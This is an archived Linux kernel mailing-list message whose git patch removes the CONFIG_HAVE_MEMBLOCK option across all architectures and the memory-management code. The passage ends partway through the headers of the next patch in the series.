 Fri, 14 Sep 2018 15:10:23 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 45536AE053;
 Fri, 14 Sep 2018 15:10:18 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:10:18 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:04 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0016-0000-0000-000002056035
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0017-0000-0000-0000325C363A
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.29
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130760 gmane.linux.kernel.mm:203341 gmane.linux.ports.mips.general:66643 gmane.linux.ports.ia64:29238 gmane.linux.ports.sh.devel:57514 gmane.linux.ports.sparc:28426 gmane.linux.ports.hexagon:1855 gmane.linux.ports.riscv:805 gmane.linux.kernel.arc:4368 gmane.linux.ports.alpha:5244 gmane.linux.ports.arm.kernel:674215 gmane.linux.ports.parisc:28966 gmane.linux.kernel:2870789
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130760>

All architecures use memblock for early memory management. There is no need
for the CONFIG_HAVE_MEMBLOCK configuration option.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/alpha/Kconfig                  |   1 -
 arch/arc/Kconfig                    |   1 -
 arch/arm/Kconfig                    |   1 -
 arch/arm64/Kconfig                  |   1 -
 arch/c6x/Kconfig                    |   1 -
 arch/h8300/Kconfig                  |   1 -
 arch/hexagon/Kconfig                |   1 -
 arch/ia64/Kconfig                   |   1 -
 arch/m68k/Kconfig                   |   1 -
 arch/microblaze/Kconfig             |   1 -
 arch/mips/Kconfig                   |   1 -
 arch/nds32/Kconfig                  |   1 -
 arch/nios2/Kconfig                  |   1 -
 arch/openrisc/Kconfig               |   1 -
 arch/parisc/Kconfig                 |   1 -
 arch/powerpc/Kconfig                |   1 -
 arch/riscv/Kconfig                  |   1 -
 arch/s390/Kconfig                   |   1 -
 arch/sh/Kconfig                     |   1 -
 arch/sparc/Kconfig                  |   1 -
 arch/um/Kconfig                     |   1 -
 arch/unicore32/Kconfig              |   1 -
 arch/x86/Kconfig                    |   1 -
 arch/xtensa/Kconfig                 |   1 -
 drivers/of/fdt.c                    |   2 -
 drivers/of/of_reserved_mem.c        |  13 +----
 drivers/staging/android/ion/Kconfig |   2 +-
 fs/pstore/Kconfig                   |   1 -
 include/linux/bootmem.h             | 112 ------------------------------------
 include/linux/memblock.h            |   2 -
 include/linux/mm.h                  |   2 +-
 lib/Kconfig.debug                   |   3 +-
 mm/Kconfig                          |   5 +-
 mm/Makefile                         |   2 +-
 mm/nobootmem.c                      |   4 --
 mm/page_alloc.c                     |   4 +-
 36 files changed, 8 insertions(+), 168 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 04de6be..5b4f883 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -31,7 +31,6 @@ config ALPHA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
-	select HAVE_MEMBLOCK
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 04ebead..5260440 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -37,7 +37,6 @@ config ARC
 	select HAVE_KERNEL_LZMA
 	select HAVE_KPROBES
 	select HAVE_KRETPROBES
-	select HAVE_MEMBLOCK
 	select HAVE_MOD_ARCH_SPECIFIC
 	select HAVE_OPROFILE
 	select HAVE_PERF_EVENTS
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a961d70..33f4653 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -82,7 +82,6 @@ config ARM
 	select HAVE_KERNEL_XZ
 	select HAVE_KPROBES if !XIP_KERNEL && !CPU_ENDIAN_BE32 && !CPU_V7M
 	select HAVE_KRETPROBES if (HAVE_KPROBES)
-	select HAVE_MEMBLOCK
 	select HAVE_MOD_ARCH_SPECIFIC
 	select HAVE_NMI
 	select HAVE_OPROFILE if (HAVE_PERF_EVENTS)
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 1795eaa..23ae619 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -134,7 +134,6 @@ config ARM64
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_HW_BREAKPOINT if PERF_EVENTS
 	select HAVE_IRQ_TIME_ACCOUNTING
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP if NUMA
 	select HAVE_NMI
 	select HAVE_PATA_PLATFORM
diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index a641b0b..833fdb0 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -13,7 +13,6 @@ config C6X
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_SHOW
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_MEMBLOCK
 	select SPARSE_IRQ
 	select IRQ_DOMAIN
 	select OF
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 5e89d40..d19c6b16 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -15,7 +15,6 @@ config H8300
 	select OF
 	select OF_IRQ
 	select OF_EARLY_FLATTREE
-	select HAVE_MEMBLOCK
 	select TIMER_OF
 	select H8300_TMR8
 	select HAVE_KERNEL_GZIP
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 24a6da9..d9ae82b 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -31,7 +31,6 @@ config HEXAGON
 	select GENERIC_CLOCKEVENTS_BROADCAST
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
-	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 2bf4ef7..36773de 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -26,7 +26,6 @@ config IA64
 	select HAVE_FUNCTION_TRACER
 	select TTY
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_VIRT_CPU_ACCOUNTING
 	select ARCH_HAS_DMA_MARK_CLEAN
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 8c7111d..e88588b 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -27,7 +27,6 @@ config M68K
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 	select DMA_NONCOHERENT_OPS if HAS_DMA
-	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
 
 config CPU_BIG_ENDIAN
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 56379b9..c77eaef 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -28,7 +28,6 @@ config MICROBLAZE
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
 	select HAVE_FUNCTION_TRACER
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_OPROFILE
 	select IRQ_DOMAIN
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 54532f2..3484768 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -60,7 +60,6 @@ config MIPS
 	select HAVE_IRQ_TIME_ACCOUNTING
 	select HAVE_KPROBES
 	select HAVE_KRETPROBES
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MOD_ARCH_SPECIFIC
 	select HAVE_NMI
diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 06b1259..605d148 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -29,7 +29,6 @@ config NDS32
 	select HANDLE_DOMAIN_IRQ
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_MEMBLOCK
 	select HAVE_REGS_AND_STACK_ACCESS_API
 	select IRQ_DOMAIN
 	select LOCKDEP_SUPPORT
diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index ebfae50..6f43bc4 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -23,7 +23,6 @@ config NIOS2
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
 	select CPU_NO_EFFICIENT_FFS
-	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
 
 config GENERIC_CSUM
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 25c6c2e..2ba6c6d 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -12,7 +12,6 @@ config OPENRISC
 	select OF_EARLY_FLATTREE
 	select IRQ_DOMAIN
 	select HANDLE_DOMAIN_IRQ
-	select HAVE_MEMBLOCK
 	select GPIOLIB
         select HAVE_ARCH_TRACEHOOK
 	select SPARSE_IRQ
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 1d6332c..c8a6fda 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -15,7 +15,6 @@ config PARISC
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
-	select HAVE_MEMBLOCK
 	select BUG
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 304cdce..47c16ae 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -203,7 +203,6 @@ config PPC
 	select HAVE_KRETPROBES
 	select HAVE_LD_DEAD_CODE_DATA_ELIMINATION
 	select HAVE_LIVEPATCH			if HAVE_DYNAMIC_FTRACE_WITH_REGS
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MOD_ARCH_SPECIFIC
 	select HAVE_NMI				if PERF_EVENTS || (PPC64 && PPC_BOOK3S)
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 63301c8..b92ee2f 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -28,7 +28,6 @@ config RISCV
 	select GENERIC_STRNLEN_USER
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_ATOMIC64 if !64BIT || !RISCV_ISA_A
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_GENERIC_DMA_COHERENT
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index b388e05..2ccad0b 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -154,7 +154,6 @@ config S390
 	select HAVE_LIVEPATCH
 	select HAVE_PERF_REGS
 	select HAVE_PERF_USER_STACK_DUMP
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MEMBLOCK_PHYS_MAP
 	select HAVE_MOD_ARCH_SPECIFIC
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index e254226..f89a172 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -8,7 +8,6 @@ config SUPERH
 	select HAVE_PATA_PLATFORM
 	select CLKDEV_LOOKUP
 	select HAVE_IDE if HAS_IOPORT_MAP
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select ARCH_DISCARD_MEMBLOCK
 	select HAVE_OPROFILE
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 5e8aaee..3b2a2f3 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -45,7 +45,6 @@ config SPARC
 	select LOCKDEP_SMALL if LOCKDEP
 	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
-	select HAVE_MEMBLOCK
 
 config SPARC32
 	def_bool !64BIT
diff --git a/arch/um/Kconfig b/arch/um/Kconfig
index ce3d562..6b99389 100644
--- a/arch/um/Kconfig
+++ b/arch/um/Kconfig
@@ -12,7 +12,6 @@ config UML
 	select HAVE_UID16
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_MEMBLOCK
 	select GENERIC_IRQ_SHOW
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index 60eae74..8726acd 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -4,7 +4,6 @@ config UNICORE32
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_MIGHT_HAVE_PC_SERIO
-	select HAVE_MEMBLOCK
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_BZIP2
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 859bf9a..13b10cd 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -167,7 +167,6 @@ config X86
 	select HAVE_KRETPROBES
 	select HAVE_KVM
 	select HAVE_LIVEPATCH			if X86_64
-	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MIXED_BREAKPOINTS_REGS
 	select HAVE_MOD_ARCH_SPECIFIC
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index e4f7d12..2f7c086 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -27,7 +27,6 @@ config XTENSA
 	select HAVE_FUTEX_CMPXCHG if !MMU
 	select HAVE_HW_BREAKPOINT if PERF_EVENTS
 	select HAVE_IRQ_TIME_ACCOUNTING
-	select HAVE_MEMBLOCK
 	select HAVE_OPROFILE
 	select HAVE_PERF_EVENTS
 	select HAVE_STACKPROTECTOR
diff --git a/drivers/of/fdt.c b/drivers/of/fdt.c
index 76c83c1..bd841bb 100644
--- a/drivers/of/fdt.c
+++ b/drivers/of/fdt.c
@@ -1115,13 +1115,11 @@ int __init early_init_dt_scan_chosen(unsigned long node, const char *uname,
 	return 1;
 }
 
-#ifdef CONFIG_HAVE_MEMBLOCK
 #ifndef MIN_MEMBLOCK_ADDR
 #define MIN_MEMBLOCK_ADDR	__pa(PAGE_OFFSET)
 #endif
 #ifndef MAX_MEMBLOCK_ADDR
 #define MAX_MEMBLOCK_ADDR	((phys_addr_t)~0)
-#endif
 
 void __init __weak early_init_dt_add_memory_arch(u64 base, u64 size)
 {
diff --git a/drivers/of/of_reserved_mem.c b/drivers/of/of_reserved_mem.c
index 895c83e..d6255c2 100644
--- a/drivers/of/of_reserved_mem.c
+++ b/drivers/of/of_reserved_mem.c
@@ -20,13 +20,12 @@
 #include <linux/of_reserved_mem.h>
 #include <linux/sort.h>
 #include <linux/slab.h>
+#include <linux/memblock.h>
 
 #define MAX_RESERVED_REGIONS	32
 static struct reserved_mem reserved_mem[MAX_RESERVED_REGIONS];
 static int reserved_mem_count;
 
-#if defined(CONFIG_HAVE_MEMBLOCK)
-#include <linux/memblock.h>
 int __init __weak early_init_dt_alloc_reserved_memory_arch(phys_addr_t size,
 	phys_addr_t align, phys_addr_t start, phys_addr_t end, bool nomap,
 	phys_addr_t *res_base)
@@ -54,16 +53,6 @@ int __init __weak early_init_dt_alloc_reserved_memory_arch(phys_addr_t size,
 		return memblock_remove(base, size);
 	return 0;
 }
-#else
-int __init __weak early_init_dt_alloc_reserved_memory_arch(phys_addr_t size,
-	phys_addr_t align, phys_addr_t start, phys_addr_t end, bool nomap,
-	phys_addr_t *res_base)
-{
-	pr_err("Reserved memory not supported, ignoring region 0x%llx%s\n",
-		  size, nomap ? " (nomap)" : "");
-	return -ENOSYS;
-}
-#endif
 
 /**
  * res_mem_save_node() - save fdt node for second pass initialization
diff --git a/drivers/staging/android/ion/Kconfig b/drivers/staging/android/ion/Kconfig
index c16dd16..0fdda6f 100644
--- a/drivers/staging/android/ion/Kconfig
+++ b/drivers/staging/android/ion/Kconfig
@@ -1,6 +1,6 @@
 menuconfig ION
 	bool "Ion Memory Manager"
-	depends on HAVE_MEMBLOCK && HAS_DMA && MMU
+	depends on HAS_DMA && MMU
 	select GENERIC_ALLOCATOR
 	select DMA_SHARED_BUFFER
 	help
diff --git a/fs/pstore/Kconfig b/fs/pstore/Kconfig
index 503086f..0d19d19 100644
--- a/fs/pstore/Kconfig
+++ b/fs/pstore/Kconfig
@@ -141,7 +141,6 @@ config PSTORE_RAM
 	tristate "Log panic/oops to a RAM buffer"
 	depends on PSTORE
 	depends on HAS_IOMEM
-	depends on HAVE_MEMBLOCK
 	select REED_SOLOMON
 	select REED_SOLOMON_ENC8
 	select REED_SOLOMON_DEC8
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 1f005b5..ee61ac3 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -132,9 +132,6 @@ extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
 #define alloc_bootmem_low_pages_node(pgdat, x) \
 	__alloc_bootmem_low_node(pgdat, x, PAGE_SIZE, 0)
 
-
-#if defined(CONFIG_HAVE_MEMBLOCK)
-
 /* FIXME: use MEMBLOCK_ALLOC_* variants here */
 #define BOOTMEM_ALLOC_ACCESSIBLE	0
 #define BOOTMEM_ALLOC_ANYWHERE		(~(phys_addr_t)0)
@@ -234,115 +231,6 @@ static inline void __init memblock_free_late(
 	__memblock_free_late(base, size);
 }
 
-#else
-
-#define BOOTMEM_ALLOC_ACCESSIBLE	0
-
-
-/* Fall back to all the existing bootmem APIs */
-static inline void * __init memblock_virt_alloc(
-					phys_addr_t size,  phys_addr_t align)
-{
-	if (!align)
-		align = SMP_CACHE_BYTES;
-	return __alloc_bootmem(size, align, BOOTMEM_LOW_LIMIT);
-}
-
-static inline void * __init memblock_virt_alloc_raw(
-					phys_addr_t size,  phys_addr_t align)
-{
-	if (!align)
-		align = SMP_CACHE_BYTES;
-	return __alloc_bootmem_nopanic(size, align, BOOTMEM_LOW_LIMIT);
-}
-
-static inline void * __init memblock_virt_alloc_nopanic(
-					phys_addr_t size, phys_addr_t align)
-{
-	if (!align)
-		align = SMP_CACHE_BYTES;
-	return __alloc_bootmem_nopanic(size, align, BOOTMEM_LOW_LIMIT);
-}
-
-static inline void * __init memblock_virt_alloc_low(
-					phys_addr_t size, phys_addr_t align)
-{
-	if (!align)
-		align = SMP_CACHE_BYTES;
-	return __alloc_bootmem_low(size, align, 0);
-}
-
-static inline void * __init memblock_virt_alloc_low_nopanic(
-					phys_addr_t size, phys_addr_t align)
-{
-	if (!align)
-		align = SMP_CACHE_BYTES;
-	return __alloc_bootmem_low_nopanic(size, align, 0);
-}
-
-static inline void * __init memblock_virt_alloc_from_nopanic(
-		phys_addr_t size, phys_addr_t align, phys_addr_t min_addr)
-{
-	return __alloc_bootmem_nopanic(size, align, min_addr);
-}
-
-static inline void * __init memblock_virt_alloc_node(
-						phys_addr_t size, int nid)
-{
-	return __alloc_bootmem_node(NODE_DATA(nid), size, SMP_CACHE_BYTES,
-				     BOOTMEM_LOW_LIMIT);
-}
-
-static inline void * __init memblock_virt_alloc_node_nopanic(
-						phys_addr_t size, int nid)
-{
-	return __alloc_bootmem_node_nopanic(NODE_DATA(nid), size,
-					     SMP_CACHE_BYTES,
-					     BOOTMEM_LOW_LIMIT);
-}
-
-static inline void * __init memblock_virt_alloc_try_nid(phys_addr_t size,
-	phys_addr_t align, phys_addr_t min_addr, phys_addr_t max_addr, int nid)
-{
-	return __alloc_bootmem_node_high(NODE_DATA(nid), size, align,
-					  min_addr);
-}
-
-static inline void * __init memblock_virt_alloc_try_nid_raw(
-			phys_addr_t size, phys_addr_t align,
-			phys_addr_t min_addr, phys_addr_t max_addr, int nid)
-{
-	return ___alloc_bootmem_node_nopanic(NODE_DATA(nid), size, align,
-				min_addr, max_addr);
-}
-
-static inline void * __init memblock_virt_alloc_try_nid_nopanic(
-			phys_addr_t size, phys_addr_t align,
-			phys_addr_t min_addr, phys_addr_t max_addr, int nid)
-{
-	return ___alloc_bootmem_node_nopanic(NODE_DATA(nid), size, align,
-				min_addr, max_addr);
-}
-
-static inline void __init memblock_free_early(
-					phys_addr_t base, phys_addr_t size)
-{
-	free_bootmem(base, size);
-}
-
-static inline void __init memblock_free_early_nid(
-				phys_addr_t base, phys_addr_t size, int nid)
-{
-	free_bootmem_node(NODE_DATA(nid), base, size);
-}
-
-static inline void __init memblock_free_late(
-					phys_addr_t base, phys_addr_t size)
-{
-	free_bootmem_late(base, size);
-}
-#endif /* defined(CONFIG_HAVE_MEMBLOCK) */
-
 extern void *alloc_large_system_hash(const char *tablename,
 				     unsigned long bucketsize,
 				     unsigned long numentries,
diff --git a/include/linux/memblock.h b/include/linux/memblock.h
index 5169205..4ae91fc 100644
--- a/include/linux/memblock.h
+++ b/include/linux/memblock.h
@@ -2,7 +2,6 @@
 #define _LINUX_MEMBLOCK_H
 #ifdef __KERNEL__
 
-#ifdef CONFIG_HAVE_MEMBLOCK
 /*
  * Logical memory blocks.
  *
@@ -460,7 +459,6 @@ static inline phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align)
 {
 	return 0;
 }
-#endif /* CONFIG_HAVE_MEMBLOCK */
 
 #endif /* __KERNEL__ */
 
diff --git a/include/linux/mm.h b/include/linux/mm.h
index d63d163f..06d7d75 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2143,7 +2143,7 @@ extern int __meminit __early_pfn_to_nid(unsigned long pfn,
 					struct mminit_pfnnid_cache *state);
 #endif
 
-#if defined(CONFIG_HAVE_MEMBLOCK) && !defined(CONFIG_FLAT_NODE_MEM_MAP)
+#if !defined(CONFIG_FLAT_NODE_MEM_MAP)
 void zero_resv_unavail(void);
 #else
 static inline void zero_resv_unavail(void) {}
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 121d869..321117f 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1311,7 +1311,7 @@ config DEBUG_KOBJECT
 	depends on DEBUG_KERNEL
 	help
 	  If you say Y here, some extra kobject debugging messages will be sent
-	  to the syslog. 
+	  to the syslog.
 
 config DEBUG_KOBJECT_RELEASE
 	bool "kobject release debugging"
@@ -1988,7 +1988,6 @@ endif # RUNTIME_TESTING_MENU
 
 config MEMTEST
 	bool "Memtest"
-	depends on HAVE_MEMBLOCK
 	---help---
 	  This option adds a kernel parameter 'memtest', which allows memtest
 	  to be set.
diff --git a/mm/Kconfig b/mm/Kconfig
index 16ceea0..c6a0d82 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -127,9 +127,6 @@ config SPARSEMEM_VMEMMAP
 	 pfn_to_page and page_to_pfn operations.  This is the most
 	 efficient option when sufficient kernel resources are available.
 
-config HAVE_MEMBLOCK
-	bool
-
 config HAVE_MEMBLOCK_NODE_MAP
 	bool
 
@@ -481,7 +478,7 @@ config FRONTSWAP
 
 config CMA
 	bool "Contiguous Memory Allocator"
-	depends on HAVE_MEMBLOCK && MMU
+	depends on MMU
 	select MIGRATION
 	select MEMORY_ISOLATION
 	help
diff --git a/mm/Makefile b/mm/Makefile
index ea53338..ca3c844 100644
--- a/mm/Makefile
+++ b/mm/Makefile
@@ -43,11 +43,11 @@ obj-y			:= filemap.o mempool.o oom_kill.o fadvise.o \
 
 obj-y += init-mm.o
 obj-y += nobootmem.o
+obj-y += memblock.o
 
 ifdef CONFIG_MMU
 	obj-$(CONFIG_ADVISE_SYSCALLS)	+= madvise.o
 endif
-obj-$(CONFIG_HAVE_MEMBLOCK) += memblock.o
 
 obj-$(CONFIG_SWAP)	+= page_io.o swap_state.o swapfile.o swap_slots.o
 obj-$(CONFIG_FRONTSWAP)	+= frontswap.o
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index 439af3b..d4d0cd4 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -23,10 +23,6 @@
 
 #include "internal.h"
 
-#ifndef CONFIG_HAVE_MEMBLOCK
-#error CONFIG_HAVE_MEMBLOCK not defined
-#endif
-
 #ifndef CONFIG_NEED_MULTIPLE_NODES
 struct pglist_data __refdata contig_page_data;
 EXPORT_SYMBOL(contig_page_data);
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index 712cab1..3f3094d 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -6432,7 +6432,7 @@ void __init free_area_init_node(int nid, unsigned long *zones_size,
 	free_area_init_core(pgdat);
 }
 
-#if defined(CONFIG_HAVE_MEMBLOCK) && !defined(CONFIG_FLAT_NODE_MEM_MAP)
+#if !defined(CONFIG_FLAT_NODE_MEM_MAP)
 /*
  * Only struct pages that are backed by physical memory are zeroed and
  * initialized by going through __init_single_page(). But, there are some
@@ -6473,7 +6473,7 @@ void __init zero_resv_unavail(void)
 	if (pgcnt)
 		pr_info("Reserved but unavailable: %lld pages", pgcnt);
 }
-#endif /* CONFIG_HAVE_MEMBLOCK && !CONFIG_FLAT_NODE_MEM_MAP */
+#endif /* !CONFIG_FLAT_NODE_MEM_MAP */
 
 #ifdef CONFIG_HAVE_MEMBLOCK_NODE_MAP
 
-- 
2.7.4



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 04/30] mm: remove bootmem allocator implementation.
Date: Fri, 14 Sep 2018 15:10:19 +0300
Lines: 866
Approved: news@gmane.org
Message-ID: <1536927045-23536-5-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536927669 11957 195.159.176.226 (14 Sep 2018 12:21:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:21:09 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
